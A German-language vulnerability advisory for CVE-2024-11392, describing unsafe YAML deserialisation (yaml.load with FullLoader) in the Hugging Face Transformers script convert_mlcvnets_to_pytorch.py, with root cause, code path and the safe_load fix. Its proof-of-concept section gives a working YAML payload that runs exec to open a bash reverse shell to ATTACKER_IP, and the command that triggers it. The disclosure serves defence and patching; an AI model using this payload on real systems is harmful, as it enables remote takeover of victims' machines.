
Technische Details und Exploit für CVE-2024-11392
Überblick und Auswirkungen der Sicherheitslücke:
Die Sicherheitslücke ermöglicht es einem Angreifer, beliebigen Code auf dem Host-Rechner auszuführen, indem er eine bösartige Konfigurationsdatei an das Skript convert_mlcvnets_to_pytorch.py im Hugging Face Transformers-Repository übergibt.
Wenn ein ahnungsloser Benutzer ein Drittanbieter-Modell zusammen mit einer bösartigen Konfigurationsdatei verwendet, führt die Ausführung des Skripts convert_mlcvnets_to_pytorch.py zu einer Remote Code Execution (RCE) auf dem System des Opfers.
Das betroffene Produkt
Ursachenanalyse
Detaillierte Beschreibung der Sicherheitslücke: Die Sicherheitslücke resultiert aus unsicherer Deserialisierung nicht vertrauenswürdiger Daten. Das Skript verwendet die Funktion yaml.load mit dem Lader FullLoader, der die gesamte YAML-Sprache lädt und anfällig für Code-Ausführung ist.
Codeablauf von der Eingabe bis zur gefährdeten Bedingung:
ml-cvnet samt Konfigurationsdatei herunter.convert_mlcvnets_to_pytorch.py aus und übergibt ihm die Konfigurationsdatei.convert_mlcvnets_to_pytorch.py deserialisiert die Konfigurationsdatei und führt den bösartigen Code aus.Injektionspunkt: Die Sicherheitslücke tritt an der Stelle auf, an der yaml.load(yaml_file, Loader=yaml.FullLoader) aufgerufen wird.
GitHub-Permalink: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
Empfohlene Korrekturen: Ersetzen Sie yaml.load(yaml_file, Loader=yaml.FullLoader) durch yaml.safe_load(yaml_file), um die Ausführung beliebigen Codes zu verhindern.
Anleitung zur Durchführung des Proof-of-Concept:
transformers_exploit.yaml, die eine Reverse-Shell auf dem System des Opfers öffnet:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py aus und übergeben Sie die Datei transformers_exploit.yaml an --orig_config_path:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
Hinweis: dummy_checkpoint.pt kann als leere Datei belassen werden, dummy_output als leeres Verzeichnis und task als eine der im Skript genannten Optionen.
Link zum Software-Download: https://github.com/huggingface/transformers/tree/main